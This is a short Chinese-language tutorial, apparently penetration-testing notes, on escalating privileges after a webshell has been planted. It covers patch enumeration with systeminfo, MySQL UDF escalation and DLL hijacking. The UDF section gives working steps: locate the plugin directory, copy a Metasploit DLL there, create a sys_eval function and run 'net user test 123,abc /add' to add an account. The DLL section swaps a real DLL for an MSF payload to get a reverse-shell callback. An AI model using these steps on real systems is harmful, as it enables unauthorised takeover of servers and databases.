补丁查询法
补丁一般都是为了应对计算机中存在的漏洞,为了更好的优化计算机的性能,而去使用一种安全措施。
当拿到目标应用的webshell之后,可以通过补丁查询的方法,来查看目标系统是否有未打补丁从而造成的某些安全隐患,从而可以被我们利用。
第一步:systeminfo
第二步:查询补丁信息
传送门:提权辅助工具
第三步:执行
GitHub查找编号漏洞,按照步骤来复现
数据库提权
1.UDF是什么?
UDF是"User-Defined Function"(用户自定义函数)的缩写。它是一种在编程语言或数据库中,用户可以自行定义并使用的函数。
在编程领域,UDF允许开发者根据需求自定义函数,以便在程序中重复使用。这样可以提高代码的重用性和可维护性。UDF可以用于执行特定的任务、计算或处理数据,并返回结果。
在数据库中,UDF允许用户根据自己的业务逻辑创建自定义函数。通过UDF,用户可以扩展数据库管理系统的功能,实现更加灵活和个性化的数据处理。例如,用户可以创建一个UDF来执行特定的计算、格式化数据、进行数据转换等操作。
UDF的优点在于可以根据具体需求自定义函数的行为和逻辑,使程序或数据库更加灵活。同时,UDF还可以提高代码的可读性和维护性,因为函数名称和参数可以更好地反映函数的用途和作用。
2.UDF提权
在mysql 中可以使用自定义函数进行提权,udf(user defined function)用户自定义函数,对于自定义的函数,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀是dll,c语言编写。(sys_eval())
利用条件:
(1).MySQL数据库没有开启安全模式。
(2)已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。
(3) 有写入到数据库安装目录的权限。
复现
(1)查询plugin目录
show global variables like 'plugin%';
(2)查找Mysql安装位置,用蚁剑或者数据库select都可以
(3)创建lib文件,plugin文件
(4)利用kali中的dll文件,复制到复制plugin目录
kali的dll文件放在
/usr/share/metasploit-framework/data/exploits/mysql
dll或so为分为32位跟64位,且so用于linux中的udf提权,dll用于windows中的udf提权
创建sys_eval执行函数
create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
执行命令
select sys_eval ("net user test 123,abc /add")
本地dll文件劫持提权
通过劫持一个重要的系统函数(dll),执行任意代码。
由于webshell提权,一般来说只要放到有网络行为的程序目录下就可以。
1.用MSF生成dll文件,并且设置监听,
2.用MSF生成的dll替换掉分析出来的dll文件
3.打开应用,接受到反弹